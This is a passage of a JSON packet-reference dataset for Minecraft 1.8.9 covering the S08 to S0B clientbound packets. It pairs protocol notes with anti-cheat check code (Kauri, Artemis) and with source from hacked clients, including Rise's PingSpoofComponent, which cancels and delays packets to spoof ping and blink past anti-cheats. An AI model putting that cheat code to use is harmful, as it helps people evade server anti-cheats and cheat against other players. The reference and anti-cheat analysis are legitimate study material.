       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/teleport/TeleportPreProcessor.java =====\npackage ac.artemis.core.v4.processor.teleport;\n\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.core.v4.utils.position.PlayerMovement;\nimport ac.artemis.core.v4.utils.position.PlayerRotation;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityTeleport;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerPosition;\n\nimport java.util.Map;\nimport java.util.Random;\nimport java.util.WeakHashMap;\n\npublic class TeleportPreProcessor extends AbstractHandler {\n    public TeleportPreProcessor(PlayerData data) {\n        super(\"Teleport [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayServerPosition) {\n            final GPacketPlayServerPosition pos = (GPacketPlayServerPosition) packet;\n\n\n        }\n        else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport pos = (GPacketPlayServerEntityTeleport) packet;\n\n            if (pos.getEntityId() != data.getPlayer().getEntityId()) {\n                return;\n            }\n\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.connection.setLastEntityTeleport(pos);\n                    final PlayerMovement movement = new PlayerMovement(\n                            data.getPlayer().getWorld(),\n                            pos.getValueX(),\n                            pos.getValueY(),\n                            pos.getValueZ(),\n                            pos.getValueYaw(),\n                            pos.getValuePitch(),\n                            pos.getTimestamp()\n                    );\n\n                    if (data.movement.getVelocity() != null)\n                        data.movement.setLastVelocity(data.movement.getVelocity());\n\n                    data.movement.setMovement(movement.setWorld(data.getPlayer().getWorld()));\n                    data.movement.setLocation(movement.setWorld(data.getPlayer().getWorld()));\n\n                    data.movement.setRotation(new PlayerRotation(data.getPlayer(),\n                            movement.getYaw(),\n                            movement.getPitch(),\n                            movement.getTimestamp())\n                    );\n\n                    data.movement.setProcessedEntityTeleport(true);\n                }\n\n                @Override\n                public void post() {\n                    data.movement.setProcessedEntityTeleport(false);\n                }\n            });\n        }\n    }\n}\n// NOTE (AI): The transaction confirmation is what makes the teleport apply in the correct tick relative to the client's own processing.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/teleport/TeleportPreProcessor.java",
       "variations": "Grim uses a transaction sandwich on the OUT packet itself; Artemis applies the teleport on the confirm instead of at send time."
      }
     ]
    }
   },
   "wiki_notes": [
    "Yaw is measured in degrees starting at 0 and is never clamped, and may be negative or above 360.",
    "Pitch is measured in degrees with 0 looking straight ahead, -90 straight up and 90 straight down.",
    "The server ignores the client movement packets sent before the client was aware of the teleport until it receives the matching confirm, and if the player is riding a vehicle the teleport has no effect but confirm packets are still sent.",
    "MCP 1.8.9 S08PacketPlayerPosLook implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handlePlayerPosLook; wire serde is readPacketData/writePacketData via readDouble, readFloat, readUnsignedByte.",
    "1.8.9 callers: NetHandlerPlayServer.setPlayerLocation sends new S08PacketPlayerPosLook (line 484): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S08PacketPlayerPosLook/",
   "mcp_path": "net/minecraft/network/play/server/S08PacketPlayerPosLook.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S09PacketHeldItemChange",
   "hex": "0x09",
   "dec": 9,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Held Item Change",
   "desc": "Server confirms the player's held item slot change (echo back of C09).",
   "tags": [
    "player",
    "inventory",
    "item"
   ],
   "fields": [
    {
     "name": "slotId",
     "type": "byte",
     "desc": "Hotbar slot 0-8"
    }
   ],
   "encoding": [
    [
     "Slot",
     "byte",
     "0-8"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleHeldItemChange()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is the server echo of C09PacketHeldItemChange. The client uses this to stay in sync with the server on which hotbar slot is selected.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S09 is the server echo of the client's C09PacketHeldItemChange: one byte, the hotbar slot 0-8. ServerConfigurationManager sends it to a player on join (with the current slot) and on every accepted slot change, so client and server agree on the held item. It is a confirmation, not a command, which is why module interest is nearly zero: there is nothing to spoof, cancel or time."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleHeldItemChange bounds-checks the slot (>= 0 and < InventoryPlayer.getHotbarSize()) and assigns inventory.currentItem. An out-of-range echo is silently ignored, so a corrupted slot value cannot desync the hotbar. The client's own C09 send path is separate: EntityPlayerSP switches slots locally and the server confirms with S09."
     },
     {
      "h": "Why clients touch it",
      "p": "Three real references in the corpus. Rise 6.x PingSpoofComponent lists S09 in its teleports class tuple next to S08 and S39: when a disabler arms spoofing with the teleports tuple, S09 is intercepted and delayed like the stateful packets, because a slot echo released out of order desyncs the hotbar. Rise 5.99 Aura and Sigma 4.11 InventoryManager import S09 without handling it: both do silent slot switching on the C09 side and the import is dead in the shipped builds. November Recode 2.0's InventoryManager is the only live consumer: its packetIn listener stores the slot from S09 (and the packetOut listener stores the C09 request), and slot()/sync() expose the server-confirmed slot to modules."
     },
     {
      "h": "Exploit surface",
      "p": "There is no exploit surface worth the name. Delaying S09 through PingSpoofComponent is the only manipulation in the corpus, and it is collateral of the C00/C0F buffering rather than a slot attack: the delay window is the same amount used for keepalive and transaction spoofing. Anti-cheats do not measure slot echoes, and no module in the 8 clients reads S09 to detect forced slot changes."
     }
    ],
    "overview": "The server echo of the held-slot change: one byte, bounded to 0-8, applied straight to inventory.currentItem. Module interest is minimal: only Rise's PingSpoofComponent treats S09 as state that must be buffered with the teleport class of packets, and the Aura and Sigma InventoryManager references are dead imports; November Recode 2.0's InventoryManager is the one client that consumes the echo, tracking the server-confirmed slot from both directions.",
    "server_handling": "ServerConfigurationManager sends S09 to the player on join (line 166 in the Memeware copy) and after every accepted C09 slot change (line 802), always with playerIn.inventory.currentItem. The server never validates the echoed value because the client is the source of truth for its own hotbar; the packet is purely informational.",
    "protocol_notes": "Single byte field, hotbar index 0-8. Sent in PLAY state, clientbound only. The pairing with C09 is asymmetric: C09 carries the requested slot, S09 confirms it, and the client applies the confirmation unconditionally within bounds. Because S09 is a broadcast to the player only, silent-switch modules depend on the server never echoing a slot they did not send.",
    "anticheat_landscape": "No anti-cheat measures S09. Slot-change rate is governed by the C09 side (inventory clicking and silent switch modules), and the echo adds nothing measurable. The only detection-adjacent use is PingSpoofComponent's ordering constraint: releasing a delayed S09 after the server already moved on would desync the hotbar visually, so the component holds and releases it with the buffered batch.",
    "modules": [
     {
      "name": "PingSpoofComponent",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Treat S09 as server state that must be held and released with the buffered keepalive and transaction batch when a disabler arms the teleports tuple.",
      "how_it_works": "The teleports tuple lists S08, S39 and S09. While enabled and the tuple is armed, any matching packet is cancelled on the receive event and parked in the timed queue, then released via PacketUtil.queue after the configured delay from PostMotionEvent.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): S09 lives in the teleports class tuple alongside S08 and S39. When a disabler arms spoof with teleports = true, any S09 arriving during the window is cancelled and parked in the timed queue like C00 and C0F, then released after the delay. The reasoning is ordering: S09 is the server echo of the held slot, and releasing a delayed slot change after the server already moved on desyncs the hotbar, so the component treats it as state that must be held and released atomically with the other buffered packets. The vanilla handler bounds-checks the slot to 0..8 before assigning inventory.currentItem, so a corrupt echo is silently ignored.",
      "code_source": "Rise 6.1.30 - com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketReceiveEvent (cancel + park), PostMotionEvent (flush), WorldChangeEvent (dispatch).",
      "anti_cheat_notes": "Delaying a slot echo can visually desync the hotbar, but no anti-cheat reads it; the risk is cosmetic and only materializes if the delay outlives the next C09, which the component's ordering avoids by releasing the whole batch together.",
      "variations": "Identical in 6.1.30 and 6.2.4; both arm the tuple through the same spoof() API used by the disabler suite."
     },
     {
      "name": "Aura / InventoryManager (import-only)",
      "found_in": [
       "Rise 5.99",
       "Sigma 4.11"
      ],
      "purpose": "Dead imports: both modules reference S09 in their source but contain no handling for it in the shipped builds.",
      "how_it_works": "Rise 5.99 Aura imports S09PacketHeldItemChange at line 44 with no other reference in the file; Sigma 4.11 InventoryManager imports it at line 31 with no other reference. Both clients perform silent slot switching on the C09 side, and the S09 import is a leftover from development rather than active code.",
      "detailed_code": null,
      "code_source": "Rise 5.99 - dev/rise/module/impl/combat/Aura.java; Sigma 4.11 - info/sigmaclient/module/impl/player/InventoryManager.java",
      "vanilla_hook": "None in the shipped builds (import only).",
      "anti_cheat_notes": "No detection relevance: an unused import changes nothing on the wire.",
      "variations": "No other client in the corpus references S09 in module code at all."
     },
     {
      "name": "InventoryManager (server slot sync)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Track the server-confirmed hotbar slot from both C09 (out) and S09 (in) and expose it to modules that need the authoritative held slot.",
      "how_it_works": "A packetOut listener stores the slot from C09PacketHeldItemChange; a packetIn listener stores the slot from S09PacketHeldItemChange.getHeldItemHotbarIndex(). slot() returns the tracked value, falling back to inventory.currentItem on first use; sync() re-sends C09 when the tracked slot diverges from currentItem. This is the only module in the corpus that reads the S09 echo for state, not just imports it.",
      "detailed_code": "// ===== FILE: November Recode 2.0, management/inventory/InventoryManager.java =====\n/* November.lol © 2023 */\npackage lol.november.management.inventory;\n\nimport lol.november.November;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S09PacketHeldItemChange;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\npublic class InventoryManager {\n\n  /**\n   * The {@link Minecraft} game instance\n   */\n  private final Minecraft mc = Minecraft.getMinecraft();\n\n  private int slot = -1;\n\n  public InventoryManager() {\n    November.bus().subscribe(this);\n  }\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C09PacketHeldItemChange packet) {\n      slot = packet.getSlotId();\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (event.get() instanceof S09PacketHeldItemChange packet) {\n      slot = packet.getHeldItemHotbarIndex();\n    }\n  };\n\n  public int slot() {\n    if (slot == -1) return slot = mc.thePlayer.inventory.currentItem;\n    return slot;\n  }\n\n  public void sync() {\n    if (slot != mc.thePlayer.inventory.currentItem) {\n      mc.thePlayer.sendQueue.addToSendQueue(\n        new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)\n      );\n    }\n  }\n\n  public ItemStack itemStack() {\n    return mc.thePlayer.inventory.getStackInSlot(slot());\n  }\n}\n\n\n// NOTE (AI): The manager listens to both directions of the slot exchange: C09 records the client's request, S09 records the server's confirmation. Because the server bounds-checks and applies S09 to inventory.currentItem, the tracked slot is the server's view, which is what aura/autoclicker logic wants when it must not desync the hotbar. sync() is the silent-switch primitive: it only fires C09 when the local and tracked slots disagree.",
      "code_source": "November Recode 2.0, management/inventory/InventoryManager.java",
      "vanilla_hook": "EventPacket.Out and EventPacket.In listeners subscribed on the November bus.",
      "anti_cheat_notes": "None: slot tracking is client-side bookkeeping. sync() only ever sends a C09 matching the player's real currentItem, so the wire traffic is indistinguishable from a normal slot switch.",
      "variations": "Rise 5.99 Aura and Sigma 4.11 InventoryManager only import S09 with dead handlers; Rise 6.x PingSpoofComponent delays the echo as part of its teleports tuple; November Recode 2.0 is the only client that consumes the echo."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the Rise 6.x hook surface (PingSpoofComponent handles S09 at component level before modules); November Recode 2.0 subscribes EventPacket.Out and EventPacket.In listeners in InventoryManager to track the slot.",
    "client_variations": "Rise 6.x uses the component system with class-tuple matching. Memeware, Nekoware, Spicy and Tenacity have no module reference at all; their S09 corpus hits are vanilla NetHandlerPlayClient and ServerConfigurationManager files. November Recode 2.0 listens to both directions of the slot exchange (C09 out, S09 in) in InventoryManager and exposes the tracked slot through a management API.",
    "related": [
     "C09PacketHeldItemChange",
     "S08PacketPlayerPosLook",
     "S39PacketPlayerAbilities",
     "C0FPacketConfirmTransaction"
    ],
    "anticheat": {
     "overview": "The S09 corpus is dominated by the serverbound side: the grep terms collide with PacketPlayInHeldItemSlot (C09), so most hits are IN-side checks (Azure BadPacketsM, Frequency BadPacketsE/F and their forks, Grim BadPacketsA/Y, ThotPatrol BadPacketsC, Daedalus Crash, Artemis ProtocolG/BadPacketsP, Truthful BadPacketH, BetterAnticheat ImpossibleSlotCheck, Intave ToolSwitchHeuristic). The clientbound echo itself has exactly one check-class consumer: Kauri SlotChange reads WrapperPlayServerHeldItemChange and uses the confirmation to make the IN-side slot check trustworthy. Everything else on the OUT side is plumbing: FlopAC's WrappedOutHeldItemSlot and Artemis's GPacketPlayServerHeldItemSlot with the HardcodeMap registration.",
     "checks": [
      {
       "name": "SlotChange (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Two-way slot validator: the S09 server echo marks the slot change as confirmed so the next C09 with the same slot is not flagged, while C09 slot resends without a confirmation accumulate a buffer and flag.",
       "how_it_works": "SlotChange binds two actions. The serverSlot action fires on WrapperPlayServerHeldItemChange (S09) and sets didServerSlot. The heldItemSlot action fires on WrapperPlayClientHeldItemChange (C09): when didServerSlot is set it consumes the change and stores the slot, otherwise a same-slot resend pushes the buffer and flags \"Bad slot change detected\" past BUFFER_MAX = 6, decaying the buffer by 3 on legitimate changes.",
       "detects": "Slot-change packet spam and invalid slot changes on the C09 side. The S09 confirmation is the state that prevents false positives after every legitimate server-confirmed switch.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/packet/badpackets/SlotChange.java =====\npackage dev.brighten.ac.check.impl.packet.badpackets;\n\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerHeldItemChange;\nimport dev.brighten.ac.api.check.CheckType;\nimport dev.brighten.ac.check.Check;\nimport dev.brighten.ac.check.CheckData;\nimport dev.brighten.ac.check.WAction;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.utils.annotation.Bind;\n\n@CheckData(name = \"SlotChange\", checkId = \"slotchange\", description = \"Detects invalid slot changes.\", type = CheckType.BADPACKETS)\npublic class SlotChange extends Check {\n    public SlotChange(APlayer player) {\n        super(player);\n    }\n\n    private boolean didServerSlot = false;\n    private int lastSlot = -1, buffer;\n\n    private static final int BUFFER_MAX = 6;\n\n    @Bind\n    WAction<WrapperPlayClientHeldItemChange> heldItemSlot = packet -> {\n        if(didServerSlot) {\n            didServerSlot = false;\n            lastSlot = packet.getSlot();\n            return;\n        }\n\n        if(packet.getSlot() == lastSlot) {\n            if(++buffer > BUFFER_MAX) {\n                flag(\"Bad slot change detected at index %i\", packet.getSlot());\n            }\n            debug(\"Invalid slot change detected! Slot: %i, buffer: %i/%i\", packet.getSlot(), buffer, BUFFER_MAX);\n        } else if(buffer > 0) {\n            buffer = Math.max(buffer - 3, 0);\n        }\n    };\n\n    @Bind\n    WAction<WrapperPlayServerHeldItemChange> serverSlot = packet -> {\n        didServerSlot = true;\n    };\n}\n// NOTE (AI): The S09 half is the serverSlot action at lines 41-44; heldItemSlot (lines 23-39) is the C09 side this check was originally documented under. One file serves both packet entries.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/packet/badpackets/SlotChange.java",
       "variations": "No other anticheat reads the clientbound echo inside a check class. FlopAC ships the WrappedOutHeldItemSlot wrapper (SERVER HeldItemSlot constant) and Artemis registers PacketPlayServerItemHeldSlot in HardcodeMap with the GPacketPlayServerHeldItemSlot wrapper; both are routing plumbing, not checks. The C09-side checks in the corpus ignore the echo and key only off the inbound packet."
      }
     ]
    }
   },
   "wiki_notes": [
    "Single byte 0-8 confirming the held hotbar slot; server echo of C09 sent on join and every accepted switch.",
    "Vanilla handler bounds-checks against hotbar size and ignores out-of-range values; silent-switch logic keys off C09, not this echo.",
    "MCP 1.8.9 S09PacketHeldItemChange implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleHeldItemChange; wire serde is readPacketData/writePacketData via readByte.",
    "1.8.9 callers: ServerConfigurationManager.initializeConnectionToPlayer sends new S09PacketHeldItemChange (line 148): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/ServerConfigurationManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S09PacketHeldItemChange/",
   "mcp_path": "net/minecraft/network/play/server/S09PacketHeldItemChange.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S0APacketUseBed",
   "hex": "0x0A",
   "dec": 10,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Use Bed",
   "desc": "Makes the player lie down in a bed at the specified position.",
   "tags": [
    "player",
    "bed",
    "animation"
   ],
   "fields": [
    {
     "name": "player",
     "type": "VarInt",
     "desc": "Player entity ID"
    },
    {
     "name": "bedPos",
     "type": "BlockPos",
     "desc": "Bed block position"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Bed Position",
     "BlockPos (long)",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUseBed()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S0A tells clients that a player went to sleep: a VarInt entity id and a BlockPos for the bed. The server sends it from EntityPlayerMP.sleepInBedAt and re-broadcasts it through EntityTrackerEntry to everyone tracking the sleeper. The client renders the sleeping pose; the matching wake-up arrives as S0BPacketAnimation type 2 (leave bed)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleUseBed looks the entity up by id, validates the bed block, sets the sleeping position and marks the entity as sleeping. EntityTrackerEntry broadcasts S0A to tracking players when a tracked entity enters a bed, and EntityPlayerMP sends it on its own connection in sleepInBedAt."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 clients hooks S0A. The only non-vanilla reference is Rise 6.x NetworkAPI, which lists S0A in the script API packet whitelist so JavaScript modules can register receive handlers for it; that is framework plumbing, not module logic. Bed mechanics are absent from the 1.8 PvP servers these clients target, and a sleep pose carries no combat, movement or render value, so nothing listens."
     },
     {
      "h": "Exploit surface",
      "p": "None observed in the corpus. The packet is clientbound and informational: it changes only a render pose. The bed-position BlockPos is never validated by clients for gameplay effect, and no anti-cheat measures sleeping. The honest assessment is that S0A is protocol trivia in this ecosystem: it exists, it is registered in every client's EnumConnectionState, and nothing exploits it."
     }
    ],
    "overview": "The sleep-pose broadcast: entity id plus bed BlockPos, sent on join and re-broadcast by the entity tracker. Zero module hits across the 8 clients; the only non-vanilla reference is the Rise script API packet whitelist. Bed mechanics do not exist on the servers these clients target, so S0A is protocol trivia.",
    "server_handling": "EntityPlayerMP.sleepInBedAt constructs S0A with the player and bed location and sends it on the sleeper's own connection; EntityTrackerEntry re-broadcasts it to all tracking players. There is no server-side validation of the pose beyond the bed-block checks in the sleep routine itself.",
    "protocol_notes": "Fields: VarInt entity id, then BlockPos serialized as a long (x << 38 | z << 12 | y, with the y sign bit). Sent in PLAY state, clientbound. The leave-bed counterpart is S0BPacketAnimation type 2, so the two packets bracket a sleep cycle. Registered at id 0x0A in every client's EnumConnectionState.",
    "anticheat_landscape": "Nothing to flag: S0A changes only a pose and carries no timing, position or state information an anti-cheat could measure. The only ecosystem wrinkle is that a client which never renders the sleep pose (or renders it wrong) produces a visual mismatch, never a flag.",
    "modules": [],
    "general_hooks": "Rise 6.x scripts can register S0A receive handlers through NetworkAPI, but no shipped module does.",
    "client_variations": "All 8 clients register S0A in vanilla code paths identically; only Rise 6.x adds the script API whitelist entry.",
    "related": [
     "S0BPacketAnimation",
     "S0CPacketSpawnPlayer"
    ],
    "anticheat": {
     "overview": "The use-bed packet has a single corpus hit: Artemis registers a GPacketPlayServerBed wrapper that decodes the player id and bed BlockPos. No check consumes it. The packet is a clientbound pose broadcast with no timing, position or state claim a server-side anticheat could measure, so the ecosystem ignores it.",
     "checks": [
      {
       "name": "Packet wrapper registration (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the use-bed packet in Artemis's packet abstraction so the wrapper tree recognizes clientbound bed traffic.",
       "how_it_works": "GPacketPlayServerBed extends GPacket, links to PacketPlayServerBed, and its read() decodes the player id as a VarInt and the bed position as a packed BlockPos. No check in the corpus consumes these fields.",
       "detects": "Nothing. The entry documents the only corpus touch point for S0A: wrapper plumbing, not detection logic.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBed.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerBed;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport cc.ghast.packet.wrapper.bukkit.BlockPosition;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\nimport lombok.Getter;\n\nimport java.util.UUID;\n\n@Getter\n@PacketLink(PacketPlayServerBed.class)\npublic class GPacketPlayServerBed extends GPacket implements PacketPlayServerBed, ReadableBuffer {\n    public GPacketPlayServerBed(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutBed\", player, version);\n    }\n\n    private int playerID;\n    private BlockPosition bedPos;\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n        this.playerID = byteBuf.readVarInt();\n        this.bedPos = byteBuf.readBlockPositionFromLong();\n    }\n}\n// NOTE (AI): The read() body (lines 25-28) parses the two wire fields; no Artemis check references the wrapper beyond the packet library.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBed.java",
       "variations": "No other anticheat references S0APacketUseBed or PacketPlayOutBed."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY id 0x0A: VarInt player id plus bed BlockPos packed as a single long; broadcast via tracker on sleep.",
    "Render-pose only; the matching wake-up arrives as S0B animation type 2, so the two packets bracket a sleep cycle.",
    "MCP 1.8.9 S0APacketUseBed implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleUseBed; wire serde is readPacketData/writePacketData via readBlockPos, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S0APacketUseBed (line 442) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0APacketUseBed/",
   "mcp_path": "net/minecraft/network/play/server/S0APacketUseBed.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S0BPacketAnimation",
   "hex": "0x0B",
   "dec": 11,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Animation",
   "desc": "Broadcasts entity animation (arm swing, damage, etc.) to nearby players.",
   "tags": [
    "entity",
    "animation"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
